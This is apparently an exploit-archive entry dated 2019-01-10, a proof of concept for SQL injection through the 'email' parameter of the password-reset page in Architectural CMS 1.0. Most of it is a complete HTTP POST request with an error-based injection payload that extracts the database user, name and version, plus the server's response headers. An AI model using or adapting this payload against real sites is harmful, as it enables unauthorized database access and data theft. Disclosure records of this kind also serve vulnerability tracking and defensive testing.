Architectural 1.0 - 'email' SQL Injection

2019-01-10 17:05:04

# Exploit Title: Architectural Cms 1.0 - SQL Injection
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/architectural-multipage-theme-admin-panel/20968597
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A


# POC:
# http://localhost/[PATH]/backoffice/forgot.php
#

POST /[PATH]/backoffice/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 749
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_csrf=0089a3c48ac05616e608ef7e74c98411&email='||(SELECT 'bZtW' FROM DUAL WHERE 11=11 AND (SELECT 11 FROM(SELECT COUNT(*),CONCAT(CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(SELECT (ELT(11=11,1))),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&submit=Reset+Password: undefined
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 22:53:02 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.